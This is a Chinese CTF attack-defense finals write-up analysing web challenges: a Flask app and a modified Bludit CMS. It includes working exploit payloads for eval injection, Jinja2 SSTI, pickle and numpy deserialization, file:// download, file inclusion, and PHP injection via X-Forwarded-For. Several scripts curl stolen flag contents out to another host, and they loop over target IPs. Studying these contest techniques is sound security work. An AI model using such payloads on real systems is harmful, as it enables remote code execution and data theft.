很久沒有打攻防賽了,致力于寫出Perfect文件監(jiān)控腳本我在這次比賽翻車了,服務(wù)器沒有pytyon2環(huán)境,所以回來(lái)更新成了python3了,旅游隊(duì)伍意外拿了個(gè)季軍,總的來(lái)說(shuō)贊一下這次比賽,體驗(yàn)還是不錯(cuò)的,小小總結(jié)一下決賽的Web(場(chǎng)上弟弟,賽后分析,不會(huì)java,漏洞也肯定沒找全,歡迎師傅貼個(gè)文章學(xué)習(xí)一波)python和php題目源碼下載地址:https://pan.baidu.com/s/1DdmgtN0cZpGsX_q1j-ooTQ 提取碼: 1jpa
0x01 mOtrix
一道python題,這里貼下源碼
from flask import Flask, request, render_template,send_from_directory, make_response
from Archives import Archives
import pickle,base64,os
from jinja2 import Environment
from random import choice
import numpy
import builtins
import io
import re
app = Flask(__name__)
Jinja2 = Environment()
def set_str(type,str):
retstr = "%s'%s'"%(type,str)
print(retstr)
return eval(retstr)
def get_cookie():
check_format = ['class','+','getitem','request','args','subclasses','builtins','{','}']
return choice(check_format)
@app.route('/')
def index():
global Archives
resp = make_response(render_template('index.html', Archives = Archives))
cookies = bytes(get_cookie(), encoding = "utf-8")
value = base64.b64encode(cookies)
resp.set_cookie("username", value=value)
return resp
@app.route('/Archive/<int:id>')
def Archive(id):
global Archives
if id>len(Archives):
return render_template('message.html', msg='文章ID不存在!', status='失敗')
return render_template('Archive.html',Archive = Archives[id])
@app.route('/message',methods=['POST','GET'])
def message():
if request.method == 'GET':
return render_template('message.html')
else:
type = request.form['type'][:1]
msg = request.form['msg']
try:
info = base64.b64decode(request.cookies.get('user'))
info = pickle.loads(info)
username = info["name"]
except Exception as e:
print(e)
username = "Guest"
if len(msg)>27:
return render_template('message.html', msg='留言太長(zhǎng)了!', status='留言失敗')
msg = msg.replace(' ','')
msg = msg.replace('_', '')
retstr = set_str(type,msg)
return render_template('message.html',msg=retstr,status='%s,留言成功'%username)
@app.route('/hello',methods=['GET', 'POST'])
def hello():
username = request.cookies.get('username')
username = str(base64.b64decode(username), encoding = "utf-8")
data = Jinja2.from_string("Hello , " + username + '!').render()
is_value = False
return render_template('hello.html', msg=data,is_value=is_value)
@app.route('/getvdot',methods=['POST','GET'])
def getvdot():
if request.method == 'GET':
return render_template('getvdot.html')
else:
matrix1 = base64.b64decode(request.form['matrix1'])
matrix2 = base64.b64decode(request.form['matrix2'])
try:
matrix1 = numpy.loads(matrix1)
matrix2 = numpy.loads(matrix2)
except Exception as e:
print(e)
result = numpy.vdot(matrix1,matrix2)
print(result)
return render_template('getvdot.html',msg=result,status='向量點(diǎn)積')
@app.route('/robots.txt',methods=['GET'])
def texts():
return send_from_directory('/', 'flag', as_attachment=True)
if __name__ == '__main__':
app.run(host='0.0.0.0',port='5000',debug=True)
#我應(yīng)該沒在這上面動(dòng)過(guò)
這題的洞比較多也很明顯,開場(chǎng)就打飛了,在這上面翻車的,也在這上面薅了不少分......
1.內(nèi)置后門
@app.route('/robots.txt',methods=['GET'])
def texts():
return send_from_directory('/', 'flag', as_attachment=True)
直接讀flag文件到robots.txt文件了,所以直接訪問(wèn)/robots.txt就拿到flag了。
2.代碼拼接
def set_str(type,str):
retstr = "%s'%s'"%(type,str)
print(retstr)
return eval(retstr)
set_str在/message處進(jìn)行了調(diào)用,其中變量str取值msg,只進(jìn)行了簡(jiǎn)單的處理
if len(msg)>27:
return render_template('message.html', msg='留言太長(zhǎng)了!', status='留言失敗')
msg = msg.replace(' ','')
msg = msg.replace('_', '')
retstr = set_str(type,msg)
所以可以任意拼接代碼,給msg賦值為
'+open('/flag').read()+'
觸發(fā)eval,直接read讀取flag
3.SSTI
@app.route('/hello',methods=['GET', 'POST'])
def hello():
username = request.cookies.get('username')
username = str(base64.b64decode(username), encoding = "utf-8")
data = Jinja2.from_string("Hello , " + username + '!').render()
is_value = False
return render_template('hello.html', msg=data,is_value=is_value)
數(shù)據(jù)接口為cookie中的username,取值后進(jìn)行了一次base64解碼,通過(guò)Jinja2.from_string('****').render()來(lái)觸發(fā)SSTI,不會(huì)的闊以參考:https://www.exploit-db.com/exploits/46386,我們?cè)诖虻臅r(shí)候沒回顯,所以用的是反彈flag的方式,彈到本地然后再交,貼下payload
while True:
for i in range(3,21):
try:
#payload = "system('cat /flag');"
Url ="http://10.0.%s.4:5000/hello"% i
cookie = {'username':'e3sgKCkuX19jbGFzc19fLl9fYmFzZXNfX1swXS5fX3N1YmNsYXNzZXNfXygpWzkzXS5fX2luaXRfXy5fX2dsb2JhbHNfX1sic3lzIl0ubW9kdWxlc1sib3MiXS5zeXN0ZW0oJ2N1cmwgImh0dHA6Ly8xMC4xMC4yLjIwNzozMDAxL2ZsYWciIC1kICIkKGNhdCAvZj8/PykiJykgfX0='}
#print Url
IP = '10.0.%s.4'% i
print 'Target:' + IP
result=requests.post(url=Url,cookies = cookie,timeout=3)
'''flag=result.text
mat = re.compile(".*([0-9a-zA-Z]{20}).*")
flag = mat.findall(flag)[0]
print flag
submit_token(flag)'''
#submit_cookie(IP,flag)
except:
sleep(0.1)
sleep(200)
本地起個(gè)服務(wù)接收并提交flag就行了
4.反序列化
@app.route('/message',methods=['POST','GET'])
def message():
if request.method == 'GET':
return render_template('message.html')
else:
type = request.form['type'][:1]
msg = request.form['msg']
try:
info = base64.b64decode(request.cookies.get('user'))
info = pickle.loads(info)
username = info["name"]
except Exception as e:
print(e)
username = "Guest"
if len(msg)>27:
return render_template('message.html', msg='留言太長(zhǎng)了!', status='留言失敗')
msg = msg.replace(' ','')
msg = msg.replace('_', '')
retstr = set_str(type,msg)
return render_template('message.html',msg=retstr,status='%s,留言成功'%username)
一個(gè)pickle的反序列化,沒啥東西,直接貼下payload
import requests
import pickle
import os
import base64
import time
class exp(object):
def __reduce__(self):
s = """curl -F token=mEs8j1Dl -F flag=$(cat /flag) http://10.10.0.2/api/flag/submit"""
return (os.system, (s,))
e = exp()
s = pickle.dumps(e)
post_data = {'msg':'','type':''}
cookie = {'user',base64.b64encode(s).decode()}
if __name__ == '__main__':
for i in range(1,21):
url = http://10.0.%s.4:5000/message"% i
try:
response = requests.post(url = url, cookies = cookie,data = post_data)
except:
time.sleep(0.1)
反序列化第二個(gè)點(diǎn)是numpy(我看的時(shí)候看版本挺新的,由于其觸發(fā)主要還是pickle,所以這個(gè)點(diǎn)還是能夠觸發(fā)反序列化)
@app.route('/getvdot',methods=['POST','GET'])
def getvdot():
if request.method == 'GET':
return render_template('getvdot.html')
else:
matrix1 = base64.b64decode(request.form['matrix1'])
matrix2 = base64.b64decode(request.form['matrix2'])
try:
matrix1 = numpy.loads(matrix1)
matrix2 = numpy.loads(matrix2)
except Exception as e:
print(e)
result = numpy.vdot(matrix1,matrix2)
print(result)
return render_template('getvdot.html',msg=result,status='向量點(diǎn)積')
import numpy
import pickle
class genpoc(object):
def __reduce__(self):
import os
s = """ls"""
return os.system, (s,)
e = genpoc()
flag=0
if flag:
poc = pickle.dumps(e)
print(poc)
else:
with open('1.pkl', 'wb') as f:
pickle.dump(e, f)
numpy.load('1.pkl');
把生成的1.pkl讀出來(lái)直接賦值給matrix1,matrix2打就行了(感謝f1sh大師傅的指導(dǎo)),本地沒環(huán)境,就不貼圖了~
0x02 OZero
這里先貼下場(chǎng)上的時(shí)候z3r0yu師傅對(duì)比后的分析日志,源碼下載地址:https://github.com/bludit/bludit/releases
被修改的幾個(gè)點(diǎn)
1. bl-kernel/site.class.php
'dribbble'=> '',
'customFields'=> '{}'
2. bl-kernel/pagex.class.php
// Returns the value from the field, false if the fields doesn't exists
// If you set the $option as TRUE, the function returns an array with all the values of the field
public function custom($field, $options=false)
{
if (isset($this->vars['custom'][$field])) {
if ($options) {
return $this->vars['custom'][$field];
}
return $this->vars['custom'][$field]['value'];
}
return false;
}
3. bl-kernel/pages.class.php
elseif ($field=='custom') {
if (isset($args['custom'])) {
global $site;
$customFields = $site->customFields();
foreach ($args['custom'] as $customField=>$customValue) {
$html = Sanitize::html($customValue);
// Store the custom field as defined type
settype($html, $customFields[$customField]['type']);
$row['custom'][$customField]['value'] = $html;
}
unset($args['custom']);
continue;
}
} elseif ($field=='custom') {
if (isset($args['custom'])) {
global $site;
$customFields = $site->customFields();
foreach ($args['custom'] as $customField=>$customValue) {
$html = Sanitize::html($customValue);
// Store the custom field as defined type
settype($html, $customFields[$customField]['type']);
$row['custom'][$customField]['value'] = $html;
}
unset($args['custom']);
continue;
}
// Insert custom fields to all the pages in the database
// The structure for the custom fields need to be a valid JSON format
// The custom fields are incremental, this means the custom fields are never deleted
// The pages only store the value of the custom field, the structure of the custom fields are in the database site.php
public function setCustomFields($fields)
{
$customFields = json_decode($fields, true);
if (json_last_error() != JSON_ERROR_NONE) {
return false;
}
foreach ($this->db as $pageKey=>$pageFields) {
foreach ($customFields as $customField=>$customValues) {
if (!isset($pageFields['custom'][$customField])) {
$defaultValue = '';
if (isset($customValues['default'])) {
$defaultValue = $customValues['default'];
}
$this->db[$pageKey]['custom'][$customField]['value'] = $defaultValue;
}
}
}
return $this->save();
}
4. bl-kernel/helpers/tcp.class.php
file_put_contents可能存在任意寫
public static function download($url, $destination)
{
$data = self::http($url, $method='GET', $verifySSL=true, $timeOut=30, $followRedirections=true, $binary=true, $headers=false);
return file_put_contents($destination, $data);
}
疑似一個(gè)反序列化之后的任意文件寫
public function __destruct(){
if(isset($this->filepath) && isset($this->error_log)){
file_put_contents(PATH_UPLOADS_PROFILES.$this->filepath,$this->error_log);
}
}
5. bl-kernel/functions.php
疑似可以觸發(fā)上述的反序列化
// Check media
$music = $_GET['path'];
if(isset($music)){
if(!Sanitize::pathFile($music)){
$filename = basename($music);
TCP::download($music,PATH_UPLOADS_PROFILES.md5($filename)."."."avi");
}
else{
Log::set(__METHOD__.LOG_SEP.'Media request in '.date('Y-m-d'), LOG_TYPE_INFO);
}
}
比原代碼多了對(duì)json的處理
if (isset($args['customFields'])) {
// Custom fields need to be JSON format valid, also the empty JSON need to be "{}"
json_decode($args['customFields']);
if (json_last_error() != JSON_ERROR_NONE) {
return false;
}
$pages->setCustomFields($args['customFields']);
}
如果可以移動(dòng)并重命名,說(shuō)不定就可以利用和這個(gè)寫shell
// Move the image to a proper place and rename
$image = $imageDir.$nextFilename;
Filesystem::mv($file, $image);
chmod($image, 0644);
6. tokenCSRF 被刪除了,所以不需要兼顧token
7. bl-kernel/boot/rules/60.router.php
此處的include獲取可以配合errorlog來(lái)getshell
else{
$pageKey = explode("/", $pageKey);
foreach($pageKey as $key){
if(constant($key))
$plugin .=constant($key);
else
$plugin .="/".$key;
}
}
$plugin = str_replace("..","/",$plugin);
if(file_exists($plugin)){
$plugin = addslashes($plugin);
include $plugin;
}
}
8. bl-kernel/boot/init.php 此處的new TCP跟上面的反序列化有點(diǎn)暗示
define('DEBUG_MODE', TRUE);
$https = new TCP();
9. bl-kernel/admin/views/settings.php
<?php $L->p('Custom fields') ?>
10. bl-kernel/admin/views/new-content.php
<?php if (!empty($site->customFields())): ?>
<a class="nav-link" id="nav-custom-tab" data-toggle="tab" href="#nav-custom" role="tab" aria-controls="custom"><?php $L->p('Custom') ?></a>
<?php endif ?>
<?php if (!empty($site->customFields())): ?>
<div id="nav-custom" class="tab-pane fade" role="tabpanel" aria-labelledby="custom-tab">
<?php
$customFields = $site->customFields();
foreach($customFields as $field=>$options) {
if ($options['type']=="string") {
echo Bootstrap::formInputTextBlock(array(
'name'=>'custom['.$field.']',
'label'=>(isset($options['label'])?$options['label']:''),
'value'=>(isset($options['default'])?$options['default']:''),
'tip'=>(isset($options['tip'])?$options['tip']:''),
'placeholder'=>(isset($options['placeholder'])?$options['placeholder']:'')
));
} elseif ($options['type']=="bool") {
echo Bootstrap::formCheckbox(array(
'name'=>'custom['.$field.']',
'label'=>(isset($options['label'])?$options['label']:''),
'placeholder'=>(isset($options['placeholder'])?$options['placeholder']:''),
'checked'=>(isset($options['checked'])?true:false),
'labelForCheckbox'=>(isset($options['tip'])?$options['tip']:'')
));
}
}
?>
</div>
<?php endif ?>
這里分析三個(gè)漏洞(反序列化用文件操作應(yīng)該是可以觸發(fā)的),師傅們要是分析了其他的求貼一波文章。
1.任意文件下載
經(jīng)過(guò)對(duì)比分析的,可以看到tcp.class.php文件中的download方法存在任意寫的問(wèn)題,即向某個(gè)url發(fā)送GET請(qǐng)求,將返回?cái)?shù)據(jù)寫入$destination變量值命令的文件中。
#bl-kernel/helpers/tcp.class.php
public static function download($url, $destination)
{
$data = self::http($url, $method='GET', $verifySSL=true, $timeOut=30, $followRedirections=true, $binary=true, $headers=false);
return file_put_contents($destination, $data);
}
該方法在bl-kernel/function.php中進(jìn)行了調(diào)用
elseif ($for=='category') {
$numberOfItems = $site->itemsPerPage();
// Check media
$music = $_GET['path'];
if(isset($music)){
if(!Sanitize::pathFile($music)){
$filename = basename($music);
TCP::download($music,PATH_UPLOADS_PROFILES.md5($filename)."."."avi");
}
else{
Log::set(__METHOD__.LOG_SEP.'Media request in '.date('Y-m-d'), LOG_TYPE_INFO);
}
}
$list = $categories->getList($categoryKey, $pageNumber, $numberOfItems);
}
也就是說(shuō)進(jìn)入了category就可以調(diào)用了TCP類中的download方法,從而可知,我們可以下載文件到本地,并會(huì)重命名為文件名的MD5值為新文件名,并且為avi格式文件,所以我們可以利用file協(xié)議來(lái)下載本地文件,即payload為
category/music?path=file:///flag
(這個(gè)點(diǎn)一開始我們沒審出來(lái),因?yàn)樯狭藗€(gè)文件監(jiān)控,發(fā)現(xiàn)突然生成了一個(gè)flag文件,然后直接腳本跑全場(chǎng)直接讀Archer大佬們生成的flag文件,就這樣開始起飛了,23333)

2.任意文件包含
同樣在對(duì)比分析的日志里
7. bl-kernel/boot/rules/60.router.php
此處的include獲取可以配合errorlog來(lái)getshell
if ($url->whereAmI()=='page' && !$url->notFound()) {
$pageKey = $url->slug();
if (Text::endsWith($pageKey, '/')) {
$pageKey = rtrim($pageKey, '/');
Redirect::url(DOMAIN_PAGES.$pageKey);
}
else{
$pageKey = explode("/", $pageKey);
foreach($pageKey as $key){
if(constant($key))
$plugin .=constant($key);
else
$plugin .="/".$key;
}
}
$plugin = str_replace("..","/",$plugin);
if(file_exists($plugin)){
$plugin = addslashes($plugin);
include $plugin;
}
}
errorlog的點(diǎn)沒有觸發(fā)成功,不過(guò)這個(gè)倒是可以配合任意文件下載來(lái)Getshell,只要下載一個(gè)木馬文件,然后包含就成了,因?yàn)榍耙粋€(gè)洞打得早,所以基本都修了,簡(jiǎn)單分析一下這個(gè)點(diǎn)。
跟進(jìn)分析的話可以看出首先將url的path賦值給了變量$pageKey ,判斷是否正常以'/'結(jié)尾,我們直接看非'/'結(jié)尾的,將path用'/'分割,用constant函數(shù)來(lái)判斷是否是定義的常量,是便將常量值拼接,不是便重新恢復(fù)回path,最關(guān)鍵的是
$plugin = str_replace("..","/",$plugin);
if(file_exists($plugin)){
$plugin = addslashes($plugin);
include $plugin;
進(jìn)行..替換后,如果path表示的文件存在,addslashes()處理后直接進(jìn)行文件包含,也就是說(shuō)如果我url上帶的是一個(gè)真實(shí)路徑,就會(huì)直接文件包含了,這太真實(shí)了(在場(chǎng)上沒精力分析- -..)所以payload
http://x.x.x.x:xxx/flag
也可以結(jié)合前面進(jìn)行Getshell
3.代碼注入
首先貼一張賽后收到的圖片

看到這個(gè)我都懵了,我下源碼就掃了一遍,并沒有內(nèi)置的后門,所以肯定是有師傅調(diào)通了調(diào)用鏈,把代碼給寫進(jìn)去了,tql(近期滿課,木得時(shí)間看這些東西,吼了陌小生師傅分析了一波,這里就直接借鑒他的來(lái)寫了),文件路徑:bl-content/databases/security.php,由于文件路由,并不能直接訪問(wèn)這個(gè)文件,這個(gè)肯定是在調(diào)用過(guò)程中寫入的,觸發(fā)的話就闊以用的任意文件包含來(lái)觸發(fā)RCE,我們先來(lái)找一波調(diào)用鏈,我比較喜歡用全局搜索來(lái)跟代碼(所以我這么菜),全局找下blackList

跟到security.class.php中有個(gè)addToBlacklist方法,簡(jiǎn)單明了,用來(lái)加黑名單的
// Add or update the current client IP on the blacklist
public function addToBlacklist()
{
$ip = $this->getUserIp();
$currentTime = time();
$numberFailures = 1;
if (isset($this->db['blackList'][$ip])) {
$userBlack = $this->db['blackList'][$ip];
$lastFailure = $userBlack['lastFailure'];
// Check if the IP is expired, then renew the number of failures
if($currentTime <= $lastFailure + ($this->db['minutesBlocked']*60)) {
$numberFailures = $userBlack['numberFailures'];
$numberFailures = $numberFailures + 1;
}
}
$this->db['blackList'][$ip] = array('lastFailure'=>$currentTime, 'numberFailures'=>$numberFailures);
Log::set(__METHOD__.LOG_SEP.'Blacklist, IP:'.$ip.', Number of failures:'.$numberFailures);
return $this->save();
}
......
public function getUserIp()
{
if (getenv('HTTP_X_FORWARDED_FOR')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
} elseif (getenv('HTTP_CLIENT_IP')) {
$ip = getenv('HTTP_CLIENT_IP');
} else {
$ip = getenv('REMOTE_ADDR');
}
return $ip;
}
看下代碼就很清楚了,把登錄失敗的用戶的ip加到黑名單里,ip可以用XFF來(lái)構(gòu)造,所以變量$ip是我們可控的了,也就是如果某個(gè)ip觸發(fā)了黑名單規(guī)則,就會(huì)被記錄下來(lái),傳入$this->db,調(diào)用save函數(shù),跟進(jìn)看下
#\bl-kernel\abstract\dbjson.class.php
public function save()
{
$data = '';
if ($this->firstLine) {
$data = "<?php defined('Zero') or die('Zero CMS.'); ?>".PHP_EOL;
}
// Serialize database
$data .= $this->serialize($this->db);
// Backup the new database.
$this->dbBackup = $this->db;
// LOCK_EX flag to prevent anyone else writing to the file at the same time.
if (file_put_contents($this->file, $data, LOCK_EX)) {
return true;
} else {
Log::set(__METHOD__.LOG_SEP.'Error occurred when trying to save the database file.', LOG_TYPE_ERROR);
return false;
}
}
將this->db的數(shù)據(jù)拼接到了變量$data中,然后直接進(jìn)行了file_put_contents操作,而在init.php中有申明了
define('DB_SECURITY', PATH_DATABASES.'security.php');
DB_SECURITY為傳入構(gòu)造函數(shù)的參數(shù),也就是file,即寫操作時(shí)將$data寫入到了security.php中,所以也就有了開場(chǎng)圖的東西。發(fā)個(gè)請(qǐng)求包
POST /admin/ HTTP/1.1
Host: 192.168.211.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
Referer: http://192.168.211.128/admin/
X-Forwarded-For: <?php phpinfo(); ?> #
Cookie: Zero-KEY=uihdv2ju8k4pfd6kl79fqpg6j3
Connection: close
Upgrade-Insecure-Requests: 1
tokenCSRF=92355c8ea77e31cc1fe5c1d7882d13dad37e9866&username=asd&password=asd&save=

在結(jié)合一下的文件包含洞

0x03 sec-login
本菜不會(huì)java,這題聽說(shuō)是反序列化,就不寫了